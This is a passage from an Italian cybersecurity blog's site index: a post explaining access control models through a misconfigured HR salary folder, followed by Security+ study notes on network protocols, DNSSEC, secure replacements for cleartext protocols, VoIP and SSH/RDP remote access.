attributi\"| ABAC[\"ABAC Attribute-Based Access Control\"] DAC - Discretionary Access Control # Il proprietario del file decide chi può accedervi. Su Linux è il modello nativo: chmod, chown, i bit rwx. Su Windows sono le NTFS permission impostate manualmente.\nPro: flessibile, facile da capire, nessuna configurazione centralizzata. Contro: la sicurezza dipende interamente dall'utente. Un proprietario sbadato - o un sysadmin in fretta - può aprire tutto a tutti senza rendersene conto. Non c'è nessun vincolo di sistema che impedisca la scelta sbagliata.\nIl caso di Silvia è DAC mal configurato. La cartella stipendi era di proprietà del sistema HR, ma i permessi erano stati impostati 644 - leggibile da tutti. Il proprietario aveva il controllo, lo aveva usato male.\nQuando usarlo: ambienti piccoli, file personali, contesti dove la flessibilità conta più della rigidità. Non per dati sensibili condivisi.\nMAC - Mandatory Access Control # Il sistema decide. Gli utenti non possono modificare i permessi - neanche il proprietario del file. Ogni risorsa ha un'etichetta di classificazione (Top Secret, Secret, Confidential, Unclassified). Ogni utente ha un clearance level. Il sistema confronta i due: si accede solo se il clearance è uguale o superiore alla classificazione.\ngraph LR U1[\"Utente - clearance: Secret\"] --\u003e|\"può leggere\"| F1[\"File - label: Confidential\"] U1 --\u003e|\"può leggere\"| F2[\"File - label: Secret\"] U1 --\u003e|\"NEGATO\"| F3[\"File - label: Top Secret\"] U2[\"Utente - clearance: Confidential\"] --\u003e|\"NEGATO\"| F2 Regola fondamentale: un utente può leggere file con label uguale o inferiore al suo clearance. Non può leggere sopra. Non può abbassare la label di un file per condividerlo con qualcuno che non ha il clearance.\nPro: il sistema impone i vincoli - l'utente non può sbagliare anche volendo. Massima rigidità. Contro: inflexible, costoso da gestire, richiede infrastruttura dedicata.\nDove si usa: ambienti militari, governativi, intelligence. Su Linux si implementa con SELinux o AppArmor. Rarissimo in aziende normali - troppo rigido per il lavoro quotidiano.\nRBAC - Role-Based Access Control # I permessi non vengono assegnati agli utenti singoli, ma ai ruoli. Gli utenti vengono assegnati ai ruoli. Se Silvia ha il ruolo HR-staff, ottiene automaticamente tutti i permessi definiti per quel ruolo.\ngraph LR U1[\"Silvia\"] --\u003e R1[\"Ruolo: HR-staff\"] U2[\"Marco\"] --\u003e R1 U3[\"Anna\"] --\u003e R2[\"Ruolo: HR-manager\"] R1 --\u003e|\"legge\"| P1[\"Contratti\"] R1 --\u003e|\"legge\"| P2[\"Presenze\"] R2 --\u003e|\"legge + modifica\"| P1 R2 --\u003e|\"legge\"| P3[\"Stipendi\"] R3[\"Ruolo: Finance\"] --\u003e|\"legge + modifica\"| P3 Pro: scalabile - aggiungi un dipendente al ruolo giusto e ha subito i permessi corretti. Revoca l'accesso rimuovendo dal ruolo, non modificando decine di ACL. Principio di least privilege facile da applicare per categoria.\nContro: non gestisce bene i casi edge - \u0026quot;Marco può accedere ai contratti solo quando lavora in sede\u0026quot; non è esprimibile con RBAC puro.\nQuando usarlo: quasi sempre, in qualsiasi organizzazione strutturata. È il modello di default per Active Directory, AWS IAM, sistemi HR, ERP. Il caso di Silvia avrebbe richiesto RBAC corretto: ruolo HR-staff con accesso a contratti e presenze, ma non a stipendi (riservato a HR-manager e Finance).\nRule-Based Access Control # Non va confuso con RBAC. Qui l'accesso è governato da regole condizionali - IF/THEN basate su attributi del contesto: orario, indirizzo IP, tipo di dispositivo, giorno della settimana.\nRegola Condizione Azione Accesso VPN IP esterno + orario lavorativo Permetti Accesso admin DB Solo da IP del jump server Permetti Accesso file stipendi Fuori dall'orario lavorativo Nega Download dati clienti Da dispositivo non aziendale Nega Dove si usa: firewall (ACL), sistemi di controllo accessi fisici (badge solo nelle ore lavorative), network access control (NAC). Spesso combinato con RBAC - il ruolo definisce cosa puoi fare, le regole definiscono quando e da dove puoi farlo.\nABAC - Attribute-Based Access Control # Il più granulare. Valuta contemporaneamente tre categorie di attributi:\nAttributi dell'utente - ruolo, reparto, livello di clearance, posizione geografica Attributi della risorsa - tipo di documento, livello di classificazione, proprietario Attributi del contesto - orario, dispositivo usato, posizione di rete Una policy ABAC può essere: \u0026quot;un utente con ruolo=manager e reparto=HR può leggere documenti con tipo=contratto e livello=confidenziale solo se orario=9-18 e dispositivo=aziendale.\u0026quot;\nPro: espressività massima - si può modellare qualsiasi scenario. Nessun caso edge irrisolvibile. Contro: complessità alta, difficile da auditare (\u0026quot;perché Marco non riesce ad accedere a quel file?\u0026quot;), richiede un policy engine dedicato. Errori nelle policy sono difficili da diagnosticare.\nDove si usa: cloud (AWS IAM con condition keys, Azure ABAC), sistemi zero trust, ambienti enterprise con requisiti di compliance granulari.\nQuale usare quando # Scenario Modello consigliato Perché Startup 10 persone, Google Drive DAC Semplicità, nessun dato critico Azienda 200 dipendenti, AD RBAC Scalabile, gestibile, least privilege per reparto Accesso solo in orario lavorativo Rule-based Condizione temporale - RBAC non basta Cloud con requisiti compliance ABAC Granularità su attributi risorsa + contesto Ambiente militare/governativo MAC Vincoli imposti dal sistema, non dall'utente Azienda reale con casi edge RBAC + Rule-based Il 90% dei casi si copre con la combinazione exit 0 # Silvia non aveva fatto niente di sbagliato. Aveva aperto una cartella che il sistema le aveva lasciato aprire.\nIl problema non era la password, non era un attaccante, non era un exploit. Era una scelta architetturale: DAC applicato a dati che avrebbero richiesto RBAC. Il proprietario aveva i permessi per sbagliare, e li aveva usati.\nI modelli di autorizzazione non sono dettagli di configurazione - sono la struttura che decide cosa può andare storto anche quando tutto funziona correttamente.\nConcetti correlati: iam\n","date":"19 maggio 2026","externalUrl":null,"permalink":"/blog/tutti-potevano-leggere-tutto/","section":"Blog","summary":" TL;DR DAC = il proprietario del file decide i permessi - flessibile ma dipende dall'utente MAC = il sistema decide in base a etichette di classificazione - usato in ambienti ad alta sicurezza RBAC = permessi assegnati ai ruoli, utenti assegnati ai ruoli - il modello più usato in azienda Rule-based = regole condizionali (orario, IP, dispositivo) - usato nei firewall e nel controllo accessi contestuale ABAC = combina attributi utente + risorsa + contesto - il più granulare, il più complesso Giovedì mattina. Silvia, amministrativa HR, apre la share aziendale per caricare un documento. Trova una cartella che non riconosce. La apre. Dentro ci sono i file di stipendio di tutti i 140 dipendenti dell'azienda - compresi quelli dei dirigenti.\n","title":"Tutti Potevano Leggere Tutto","type":"blog"},{"content":" Cosa fa # Copre l'intera infrastruttura di rete sicura: protocolli di base e sicuri, SSL/TLS, firewall, segmentazione (DMZ/VLAN/air gap), proxy, NAT, Zero Trust, UTM, SASE, Group Policy, DLP, SPF/DKIM/DMARC. Segue l'ordine del libro Gibson Cap 3.\nTL;DR # Se un protocollo non cripta → sostituiscilo con la versione sicura (FTPS/SFTP, HTTPS, IMAPS, LDAPS, SNMP v3). SSL è deprecato — usare sempre TLS. SSL e TLS sono spesso chiamati insieme ma sono cose diverse. Firewall stateless = filtra su ACL. Stateful = traccia sessioni (L4). NGFW/WAF = Layer 7. Fail-open = permette tutto se il dispositivo va in crash. Fail-closed = blocca tutto — più sicuro. DMZ (screened subnet) = zona tra due firewall per server pubblici. Reverse proxy sta nella DMZ, i web server nella LAN interna. Zero Trust: nessun utente/device fidato per default. Control Plane decide, Data Plane esegue. VLAN = segmentazione logica. Air gap = isolamento fisico totale.\nmindmap root((Cap 3 Security Architecture)) [Reviewing Basic Networking Concepts] [Data in Transit Protocolli Sicuri] [Understanding Network Infrastructure] [Firewall] [Implementing Network Designs] [Zero Trust] [SASE] [Enterprise Security Capabilities] Reviewing Basic Networking Concepts # mindmap root((Reviewing Basic Networking Concepts)) OSI Model L7 App WAF NGFW L6 Presentation TLS L4 Transport TCP UDP L3 Network IP stateless FW L2 Data Link MAC VLAN L1 Physical air gap TCP SYN SYN-ACK ACK Stateful FW traccia sessioni SYN flood riempie tabella UDP Connectionless best-effort DNS VoIP gaming DoS facile no handshake IP e ICMP IPv4 32bit IPv6 128bit ICMP ping traceroute FW blocca ICMP ARP Risolve IP a MAC Poisoning MITM BIA hardware LAA modificabile DNS UDP 53 query TCP 53 zone transfer DNSSEC firma digitale Record A AAAA MX CNAME PTR DHCP NTP DORA Discover Offer Request Ack NTP UDP 123 Kerberos 5min NTS sicurezza NTP con TLS OSI Model # Riferimento dettagliato: osi-model.\nLayer Nome Mnemonic Cosa vive qui (Security+) 7 Application Away HTTP/S, DNS, FTP, SMTP — WAF e NGFW operano qui 6 Presentation Pizza SSL/TLS, encoding, cifratura 5 Session Sausage Sessioni di rete, NetBIOS 4 Transport Throw TCP, UDP — stateful firewall opera qui 3 Network Not IP, ICMP, routing — stateless firewall opera qui 2 Data Link Do MAC address, switch, VLAN 1 Physical Please Cavi, segnali fisici — air gap agisce qui Mnemonic bottom-up (1→7): Please Do Not Throw Sausage Pizza Away Mnemonic top-down (7→1): All People Seem To Need Data Processing\nTip Regola visiva: più il layer è basso, più sei vicino al cavo. Più è alto, più sei vicino all'utente.\nFirewall e layer: stateless = L3/L4 — stateful = L4 — WAF/NGFW = L7.\nTCP — Transmission Control Protocol # Connection-oriented: garantisce la consegna tramite three-way handshake.\nsequenceDiagram participant C as Client participant S as Server C-\u003e\u003eS: SYN (synchronize) S-\u003e\u003eC: SYN/ACK (synchronize/acknowledge) C-\u003e\u003eS: ACK (acknowledge) Note over C,S: Connessione stabilita Usato per: HTTP, HTTPS, SSH, FTP, SMTP.\nPerché il three-way handshake è importante per la sicurezza:\nTCP non è solo \u0026quot;connesso o non connesso\u0026quot; — ha stati precisi che il firewall stateful traccia:\nSYN ──────────────→ stato: SYN_SENT ←────────────── SYN-ACK stato: SYN_RECEIVED ACK ──────────────→ stato: ESTABLISHED [traffico normale] FIN ──────────────→ stato: FIN_WAIT → CLOSED Il firewall stateful registra ogni connessione con il suo stato. Se arriva un pacchetto anomalo:\nACK senza SYN precedente → nessuna sessione in tabella → blocca RST senza sessione aperta → anomalo → blocca Risposta da Google dopo connessione aperta → ESTABLISHED → passa Il firewall stateless non conosce questi stati — vede solo IP e porta. Un pacchetto con flag anomali lo lascerebbe passare.\nAttacchi che sfruttano flag TCP anomali (senza completare il three-way handshake):\nAttacco Flag usati Scopo ACK scan ACK Mappa firewall stateless — vede quali porte rispondono FIN scan FIN Bypassa firewall stateless che filtra solo SYN XMAS scan FIN+PSH+URG Rilevamento OS e porte aperte SYN flood SYN (milioni) Esaurisce tabella sessioni del firewall stateful Firewall stateful blocca ACK/FIN/XMAS scan — non c'è sessione corrispondente in tabella. Firewall stateless li lascia passare.\nUDP — User Datagram Protocol # Connectionless: nessun handshake, best-effort delivery. Veloce ma inaffidabile. Usato per: DNS (query), VoIP, streaming, gaming.\nWarning Molti attacchi DoS di rete usano UDP — non c'è handshake da completare, è più facile inondare il target di traffico.\nIP — Internet Protocol # Identifica gli host e instrada il traffico da sorgente a destinazione.\nIPv4: 32 bit, notazione decimale puntata — es. 192.168.1.100 IPv6: 128 bit, notazione esadecimale — es. FE80:0000:0000:0000:20D4:3FF7:003F:DE62 ICMP — Internet Control Message Protocol # Testa la connettività di base tra host.\nping — verifica raggiungibilità tra due sistemi traceroute (Linux) / tracert (Windows) — traccia il percorso hop per hop Warning Molti attacchi DoS usano ICMP (ping flood, Smurf attack). I firewall spesso bloccano ICMP in ingresso. Effetto: ping non risponde anche se l'host è attivo — non confondere \u0026quot;ping timeout\u0026quot; con \u0026quot;host down\u0026quot;. Bloccare ICMP impedisce anche il ping sweep degli attaccanti.\nARP — Address Resolution Protocol # Risolve indirizzi IPv4 in indirizzi MAC (physical address / hardware address, assegnati dal produttore alla NIC). TCP/IP usa l'IP per raggiungere la rete di destinazione, poi usa il MAC per raggiungere l'host corretto nella subnet. ARP è necessario solo una volta che il pacchetto raggiunge la subnet di destinazione.\nL'ARP poisoning (cap. 7) invia risposte ARP false per reindirizzare o interrompere il traffico.\nMAC address e hop:\nIl MAC della NIC non cambia mai. Quello che cambia ad ogni hop del router sono i MAC src/dst nel frame Ethernet.\nUn device, più MAC:\nOgni NIC ha il suo MAC. Un laptop ha NIC separate per wired e wireless — quindi due MAC distinti, uno per ogni scheda:\neth0 (scheda Ethernet) → MAC: 00-16-EA-DD-A6-60 ← porta RJ45 wlan0 (scheda WiFi) → MAC: 00-16-EA-DD-A6-61 ← antenna WiFi Entrambi stampati sull'etichetta del dispositivo o visibili con ip link show.\nBIA vs LAA — il MAC è modificabile a livello OS:\nLivello Nome Modificabile? ROM del chip (hardware) BIA — Burned-In Address No — permanente Sistema operativo LAA — Locally Administered Address Sì — 1 comando L'OS trasmette il LAA se impostato, ignorando il BIA. Questo è il meccanismo del MAC spoofing: l'attaccante cambia il LAA del proprio wlan0 con il MAC di un client autorizzato → bypassa il MAC filtering wireless. Stessa tecnica funziona anche su eth0 contro il port security degli switch (→ cap-04).\nPC → [Frame: MAC_PC → MAC_Router] → Router distrugge frame, fa ARP, crea nuovo frame Router → [Frame: MAC_Router → MAC_Server] → Server IP src/dst — non cambiano mai (destinazione finale) MAC src/dst — ricreati ad ogni hop di router (validi solo per il segmento corrente) La causa del cambio MAC è il router, non la subnet in sé. Nella stessa subnet, sullo stesso switch, i MAC non cambiano — nessun router coinvolto. I router separano le subnet, quindi hop di router e cambio di subnet coincidono — ma la causa è sempre il router.\nARP poisoning funziona solo nella stessa subnet — non puoi avvelenare ARP su un segmento a cui non sei fisicamente connesso.\nFrame — cos'è:\nUnità di dati del Layer 2. Contenitore fisico che trasporta un pacchetto IP su un singolo segmento.\n| MAC dst | MAC src | Tipo | [ Pacchetto IP ] | FCS | Il pacchetto IP è la lettera con mittente/destinatario finali. Il frame è la busta per un singolo tratto — al router viene distrutta e ricreata per il tratto successivo.\nDNS — Domain Name System # Converte hostname in indirizzi IP. Query DNS → UDP 53. Zone transfer → TCP 53.\nCome funziona la risoluzione:\nIl client chiede al suo DNS server \u0026quot;che IP è getcertifiedgetahead.com?\u0026quot;. Se il server conosce la risposta (ce l'ha in cache) risponde direttamente. Altrimenti interroga altri DNS server risalendo la gerarchia (root → TLD → autoritativo) e mette la risposta in cache per le richieste future.\nCache e TTL (Time to Live): ogni risposta DNS ha un TTL in secondi. Client e server tengono la risposta in cache per quel tempo — evitano di ripetere la query. TTL basso = aggiornamenti frequenti. TTL alto = meno traffico ma risposta più vecchia.\nZone Transfer (TCP 53): non è il forwarding di una query. È quando un DNS server secondario copia l'intero database (zone) dal server primario.\nPerché si fa la copia:\nRidondanza — se il server primario va giù, il secondario risponde comunque Scalabilità — più server DNS distribuiscono il carico delle query Fault tolerance — nessun singolo punto di failure per la risoluzione DNS Chi fa il zone transfer: l'authoritative nameserver primario verso i secondari. Se hai comprato il dominio su Aruba e non hai cambiato i nameserver, Aruba è il tuo authoritative primario — è lui che gestisce il database e lo replica sui server secondari tramite zone transfer. Se invece punti i record NS verso Cloudflare, Cloudflare diventa il primario. La scelta è sempre tua — dipende da dove punti i record NS. Chiunque abbia un server con software DNS (BIND, PowerDNS) raggiungibile su internet può diventare un authoritative nameserver.\nPerché TCP e non UDP: il zone transfer copia l'intero database — potenzialmente migliaia di record. TCP garantisce la consegna ordinata e senza perdita di pacchetti — non per performance, ma per affidabilità. Perdere anche un solo record significherebbe un database incompleto e inconsistente. Query singola = UDP 53 (veloce, un pacchetto). Copia dell'intero database = TCP 53 (affidabile, zero perdita).\nCIA Triad applicata al DNS — esempio diretto:\nMisura Come CIA Zone transfer DNS (TCP 53) Replica su server secondari — il servizio resta up anche se il primario va giù Availability DNSSEC Firma digitale su ogni record — rileva manomissioni in cache Integrity LDAPS, SFTP, FTPS, HTTPS Cifratura del canale — i dati non sono leggibili in transito Confidentiality Record DNS:\nRecord Espansione Funzione Note A Address Hostname → IPv4 Il record più usato AAAA Quad-A (IPv6 Address) Hostname → IPv6 Come A ma per IPv6 PTR Pointer IP → Hostname (reverse lookup) Opzionale — non sempre configurato MX Mail Exchange Identifica il server di posta Il valore più basso = server primario CNAME Canonical Name Alias — un nome punta a un altro nome Usato anche nei load balancer SOA Start of Authority Metadati della zona DNS Contiene TTL, server autoritativo, admin Perché MX è un server separato: email e web hanno esigenze diverse. Il web server gestisce HTTP, il mail server gestisce SMTP. Possono stare su macchine diverse, con IP diversi, provider diversi. MX permette di avere example.com per il sito e mail.example.com (IP diverso) per la posta — separazione dei carichi e della sicurezza.\nCNAME e load balancer: www.example.com CNAME → lb.example.com che risolve a più IP. Cambi un solo record CNAME invece di aggiornare tutti i client. Lo stesso meccanismo che usi quando punti un sottodominio a una piattaforma esterna (es. corsi.example.com → Teachable).\nDNSSEC — Domain Name System Security Extensions\nUn rischio di DNS è il DNS poisoning (anche detto DNS cache poisoning) — l'attaccante inserisce hostname→IP falsi nella cache del DNS server. Il client chiede \u0026quot;che IP è msn.com?\u0026quot; e il DNS risponde con l'IP del sito malevolo dell'attaccante.\nAnalogia con ARP poisoning:\nARP poisoning → inserisce IP→MAC falsi nella cache ARP degli host → reindirizza il traffico locale DNS poisoning → inserisce hostname→IP falsi nella cache del DNS server → reindirizza il traffico internet DNSSEC previene il poisoning con firme digitali — funziona esattamente come DKIM per le email, ma applicato ai record DNS:\nsequenceDiagram participant R as Resolver (client DNS) participant A as DNS Autoritativo R-\u003e\u003eA: Dammi l'IP di example.com A-\u003e\u003eR: IP = 1.2.3.4 + RRSIG (firma con chiave privata) Note over R: Recupera DNSKEY (chiave pubblica) dal DNS Note over R: Verifica la firma RRSIG con la chiave pubblica alt Firma valida R-\u003e\u003eR: Record autentico — usa l'IP else Firma non valida R-\u003e\u003eR: DNS poisoning rilevato — scarta la risposta end RRSIG (Resource Record Signature) — firma digitale aggiunta a ogni record DNS dal server autoritativo usando la sua chiave privata DNSKEY — record che pubblica la chiave pubblica del server autoritativo — chiunque può verificare le firme Se la firma non corrisponde → il record è stato manomesso in cache → risposta scartata Ma come fa il resolver a fidarsi della DNSKEY stessa? Il resolver non ha le chiavi pubbliche di tutti i domini. Ne ha solo una hardcoded nel software: la chiave pubblica della root zone (.) — chiamata trust anchor. Da lì segue una catena di firme verso il basso. Il resolver verifica bottom-up: parte dalla root (di cui si fida per definizione) e scende fino al record richiesto. È lo stesso modello dei certificati TLS — root CA hardcoded nel browser che garantisce per le CA intermedie.\nflowchart TD TA[\"TRUST ANCHOR Chiave pubblica root (.) hardcoded nel resolver — non arriva dalla rete, è nel software stesso\"] ROOT[\"ROOT ZONE (.) Firma la chiave pubblica di .com con la sua chiave privata\"] COM[\".com Firma la chiave pubblica di google.com con la sua chiave privata\"] GOOGLE[\"google.com Firma i record DNS — A, MX, ecc. con la sua chiave privata\"] RECORD[\"Record: google.com = 142.250.x.x + firma digitale di google.com\"] VERIFY[\"RESOLVER — verifica bottom-up 1. ha la chiave pubblica root → verifica firma su chiave .com ✓ 2. ora ha chiave .com → verifica firma su chiave google.com ✓ 3. ora ha chiave google.com → verifica firma sul record ✓ Record accettato\"] TA --\u003e ROOT ROOT --\u003e|\"firma chiave pubblica\"| COM COM --\u003e|\"firma chiave pubblica\"| GOOGLE GOOGLE --\u003e|\"firma record\"| RECORD RECORD --\u003e VERIFY TA -.-\u003e|\"punto di partenza fisso\"| VERIFY style TA fill:#1a3a1a,stroke:#4aaf7e,color:#ffffff style VERIFY fill:#1a2a3a,stroke:#4a9eff,color:#ffffff style RECORD fill:#1a1a3a,stroke:#9b59b6,color:#ffffff style ROOT fill:#2a2000,stroke:#f0c040,color:#ffffff style COM fill:#2a2000,stroke:#f0c040,color:#ffffff style GOOGLE fill:#2a2000,stroke:#f0c040,color:#ffffff DHCP — Dynamic Host Configuration Protocol # Assegna automaticamente: IP, subnet mask, gateway, DNS. Flusso DORA: Discover → Offer → Request → Acknowledge\nNTP — Network Time Protocol # Fornisce sincronizzazione dell'ora tra sistemi di rete. Porta UDP 123. Protocollo più usato per la sincronizzazione del tempo — preciso entro decine di millisecondi.\nPerché serve: molti sistemi richiedono che i clock siano allineati. Il caso più critico è Kerberos — se client e server divergono di più di 5 minuti, l'autenticazione fallisce e il login viene rifiutato.\nCome funziona in un dominio Microsoft:\ngraph TD I[\"Server NTP su Internet fonte autoritativa\"] DC1[\"Domain Controller principale Windows Time Service si sincronizza con NTP esterno\"] DC2[\"Altri Domain Controller si sincronizzano con DC principale\"] PC[\"Tutti i PC del dominio si sincronizzano con un DC\"] I --\u003e DC1 DC1 --\u003e DC2 DC2 --\u003e PC Un Domain Controller usa il Windows Time Service per trovare un server NTP affidabile su internet Gli altri DC si sincronizzano periodicamente con quel DC Tutti i PC del dominio si sincronizzano con uno dei DC Risultato: tutti i sistemi del dominio hanno lo stesso orario — Kerberos funziona, i log sono coerenti, le audit trail sono affidabili.\nNTS — Network Time Security: aggiunge sicurezza a NTP usando TLS. NTP base non ha autenticazione — un attaccante può rispondere a query NTP con timestamp falsificati (time spoofing) per rompere Kerberos o corrompere i log. NTS risolve aggiungendo crittografia e autenticazione sulla stessa logica di NTP. Exam tip: la domanda chiede di proteggere NTP → risposta è NTS.\nData in Transit — Protocolli Sicuri vs Insicuri # mindmap root((Data in Transit Protocolli Sicuri)) Non usare FTP 21 testo in chiaro Telnet 23 testo in chiaro SSL deprecato POODLE 2014 HTTP 80 no cifratura Usa invece SFTP SSH 22 sottosistema SSH FTPS 989-990 FTP su TLS SSH 22 cifra tutto HTTPS 443 HTTP su TLS TLS 1.2 o 1.3 Layer OSI cifratura IPsec L3 tutto il pacchetto IP TLS L6-L7 solo la sessione app SSH L7 sessione remota VoIP RTP audio video non cifrato SRTP RTP con AES SIP metadati TCP 5060 SIPS SIP su TLS 5061 Accesso Remoto SSH chiave pubblica privata RDP 3389 TLS VPN prima VPN client-to-site site-to-site Directory LDAP 389 non cifrato LDAPS 636 TLS Kerberos autentica login Quando i dati viaggiano in chiaro sulla rete sono vulnerabili all'intercettazione. La cifratura protegge i dati in transito.\nCaso comune: un utente su rete pubblica (aeroporto) usa un laptop non cifrato — uno sniffer sulla stessa rete legge tutto il traffico.\nCosa non usare e perché # FTP — trasmette in chiaro. Un packet capture legge dati e credenziali. TFTP — UDP 69, no autenticazione, no cifratura. Solo reti interne (boot PXE). Disabilitare in produzione. SSL — il protocollo originale per HTTPS. Compromesso (vulnerabilità POODLE, 2014). Non deve essere usato. Sostituti sicuri # TLS (Transport Layer Security) — sostituto designato di SSL. L'unica versione da usare. TLS 1.2 o 1.3. IPsec — cifra il traffico IP a livello di rete (Layer 3). Trasparente alle applicazioni. Usato nelle VPN. Cap 4. SSH (Secure Shell) — cifra il traffico remoto. Porta TCP 22. Sostituisce Telnet. SFTP — SSH File Transfer Protocol. Porta TCP 22. Non è FTP con TLS — è un sottosistema SSH. FTPS — FTP + TLS. Due varianti: explicit (STARTTLS su porta 21) e implicit (porta 989/990). SCP (Secure Copy Protocol) — copia file cifrati via SSH. Porta TCP 22. SSL vs TLS # SSL TLS Stato Deprecato — non usare Sostituto ufficiale Versioni sicure Nessuna TLS 1.2, TLS 1.3 Quando usarlo Mai Sempre Important Quando l'esame dice \u0026quot;SSL/TLS\u0026quot; intende il framework in generale. Quando chiede quale usare → sempre TLS.\nA quale layer OSI cifra ogni protocollo # Protocollo Espansione Layer OSI Cosa cifra IPsec Internet Protocol Security 3 — Network Intero pacchetto IP — tutto il traffico TLS / HTTPS Transport Layer Security / HyperText Transfer Protocol Secure 6/7 — Presentation/Application Solo il traffico dell'applicazione specifica SSH Secure Shell 7 — Application La sessione remota e i protocolli dentro (SFTP, SCP) Tabella: Non usare questo → usa questo # Non usare Espansione Porta Perché è insicuro Usa invece Espansione Porta Perché è sicuro FTP File Transfer Protocol TCP 20/21 Testo in chiaro SFTP SSH File Transfer Protocol TCP 22 Sottosistema SSH FTP File Transfer Protocol TCP 20/21 Testo in chiaro FTPS FTP Secure TCP 989/990 FTP + TLS TFTP Trivial File Transfer Protocol UDP 69 No auth, no cifratura SFTP / SCP SSH File Transfer Protocol / Secure Copy Protocol TCP 22 Auth + cifratura via SSH SSL Secure Sockets Layer TCP 443 Compromesso (POODLE) TLS Transport Layer Security TCP 443 Sostituto designato HTTP HyperText Transfer Protocol TCP 80 Testo in chiaro HTTPS HyperText Transfer Protocol Secure TCP 443 HTTP su TLS Telnet Teletype Network TCP 23 Testo in chiaro SSH Secure Shell TCP 22 Cifra tutto il traffico Voice e VoIP # VoIP (Voice over IP) trasmette telefonia sulla rete. Usa RTP (Real-time Transport Protocol). Per cifrare → SRTP (Secure Real-time Transport Protocol). Protocollo Espansione Porta Cosa fa Note VoIP Voice over Internet Protocol — Trasmette telefonia sulla rete IP Contenitore — usa SIP + RTP sotto RTP Real-time Transport Protocol UDP variabile (16384-32767) Trasporta audio/video in tempo reale Non cifrato SRTP Secure Real-time Transport Protocol UDP variabile (16384-32767) Trasporta audio/video cifrato RTP + cifratura AES + autenticazione SIP Session Initiation Protocol TCP 5060 Stabilisce, mantiene e termina sessioni Solo metadati — non cifrato SIPS Session Initiation Protocol Secure TCP 5061 Come SIP ma cifrato con TLS SIP su TLS RTP è incapsulato dentro UDP:\n[ Ethernet Frame ] [ IP Packet ] [ UDP Datagram ] [ RTP Header | Audio/Video payload ] RTP è un protocollo applicativo che si appoggia su UDP — non è un protocollo di trasporto. Aggiunge il suo header (numero di sequenza, timestamp, codec) dentro un datagramma UDP. Motivo: la voce in tempo reale preferisce perdere un pacchetto piuttosto che aspettare la ritrasmissione TCP. Un pacchetto perso = piccolo glitch audio. Un pacchetto ritardato = la conversazione diventa impossibile.\nSIP — il \u0026quot;centralinista\u0026quot; della sessione:\nSIP stabilisce, mantiene e termina sessioni voce/video. I messaggi SIP sono testo leggibile (come HTTP) e contengono solo metadati — nessun audio. Metadati inclusi: IP mittente e destinatario, software usato, codec negoziato, porte RTP. Dopo che SIP ha stabilito la sessione, parte RTP o SRTP per il trasporto reale.\nsequenceDiagram participant A as Chiamante participant B as Destinatario A-\u003e\u003eB: INVITE (voglio chiamarti, ecco i miei parametri) B-\u003e\u003eA: 100 Trying (sto cercando B) B-\u003e\u003eA: 180 Ringing (sta squillando) B-\u003e\u003eA: 200 OK (risponde, ecco i suoi parametri) A-\u003e\u003eB: ACK (confermato) Note over A,B: RTP/SRTP — la chiamata vera inizia qui A-\u003e\u003eB: BYE (riattacco) B-\u003e\u003eA: 200 OK (chiuso) I codici 100, 180, 200 sono copiati da HTTP — SIP è l'HTTP della telefonia.\nEsempi concreti:\nSIP — Teams chiama un collega: prima dell'audio, SIP manda un messaggio di testo con IP sorgente, codec, software. Il collega risponde SIP: \u0026quot;accetto\u0026quot;. Solo dopo parte il suono.\nSIPS — stesso flusso SIP ma su TLS: nessuno può leggere chi sta chiamando chi.\nRTP — una volta che SIP ha stabilito la sessione, RTP trasporta i pacchetti audio su UDP in tempo reale.\nSRTP — RTP + cifratura. Usato da WhatsApp, Signal, Zoom — il contenuto della chiamata è cifrato. SIP stabilisce la sessione, SRTP porta l'audio cifrato.\nTip SIP = SMS che dice \u0026quot;ti chiamo tra 5 secondi\u0026quot; — metadati puri, nessun audio. RTP/SRTP = la telefonata vera che segue. I log SIP sono utili in forensics: mostrano chi ha chiamato chi, da quale IP, con quale software.\nWeb # Protocollo Espansione Porta Note HTTP HyperText Transfer Protocol 80 Testo in chiaro HTTPS HyperText Transfer Protocol Secure 443 HTTP su TLS Accesso Remoto # SSH (Secure Shell) — porta TCP 22. Sostituisce Telnet. Usa crittografia a chiave pubblica.\nOpenSSH — suite di tool open source che semplifica l'uso di SSH. Integrata in praticamente tutti i sistemi Linux/macOS e Windows moderni. Supporta anche SCP e SFTP per il trasferimento file sicuro.\nConnessione base:\nssh gega # connessione con username del client ssh root@gega # connessione con account specifico sul server remoto Il server chiede la password — ma inserirla ogni volta è scomodo e meno sicuro. OpenSSH supporta l'autenticazione senza password tramite coppia di chiavi.\nAutenticazione con chiavi — flusso:\nssh-keygen -t rsa # genera coppia chiave pubblica + privata sul client ssh-copy-id root@gega # copia la chiave pubblica sul server remoto ssh root@gega # da ora: accesso automatico senza password Due file generati da ssh-keygen:\nFile Tipo Dove sta Cosa fare id_rsa.pub Chiave pubblica Client Copiare sul server remoto con ssh-copy-id id_rsa Chiave privata Client Non condividere mai — resta sempre sul client La chiave pubblica viene salvata in ~/.ssh/authorized_keys sul server. Quando Maggie si connette, il server sfida il client con un messaggio cifrato con la chiave pubblica — solo chi ha la chiave privata può rispondere correttamente. Nessuna password in rete.\nImportant La chiave privata deve sempre restare privata sul client. La chiave pubblica può essere condivisa liberamente — è matematicamente impossibile risalire alla privata dalla pubblica.\nRDP (Remote Desktop Protocol) — porta TCP/UDP 3389. Accesso remoto desktop Windows. Usa TLS per cifrare la sessione. Connessione diretta client → server — non passa per server relay esterni.\nPorta 3389 — aperta o chiusa?\nNella LAN non è \u0026quot;tutto aperto\u0026quot; — ci sono due livelli:\nHost-based firewall — ogni macchina Windows ha il suo firewall. RDP è disabilitato di default. Quando lo abiliti, Windows apre automaticamente 3389 localmente. Network firewall interno — reti segmentate con VLAN possono avere firewall interni che bloccano 3389 anche tra PC della stessa azienda. Da internet: 3389 è quasi sempre bloccata sul firewall perimetrale — RDP esposto su internet è uno dei vettori di attacco più sfruttati (brute force, exploit).\nPratica corretta: VPN prima, poi RDP.\nLa VPN crea un tunnel cifrato attraverso internet. Il tuo PC riceve un IP interno della rete aziendale e il traffico viaggia come se fossi fisicamente in ufficio.\nCasa → [Internet] → [Tunnel VPN cifrato] → [LAN aziendale] → Server :3389 Il firewall perimetrale non vede una connessione RDP dall'esterno — vede solo traffico VPN cifrato. Una volta dentro il tunnel, raggiungi 3389 come se fossi alla scrivania.\nVPN concentrator — dispositivo dedicato che gestisce le connessioni VPN remote. Invece di far gestire la VPN al firewall, il concentratore si occupa solo di quello — autenticazione, cifratura, assegnazione IP interni. Spesso posizionato nella DMZ.\nSite-to-site IPsec tunnel — VPN permanente tra due sedi aziendali. Le due reti appaiono come un'unica LAN estesa — i dipendenti della sede di Milano raggiungono i server di Roma come se fossero nella stessa 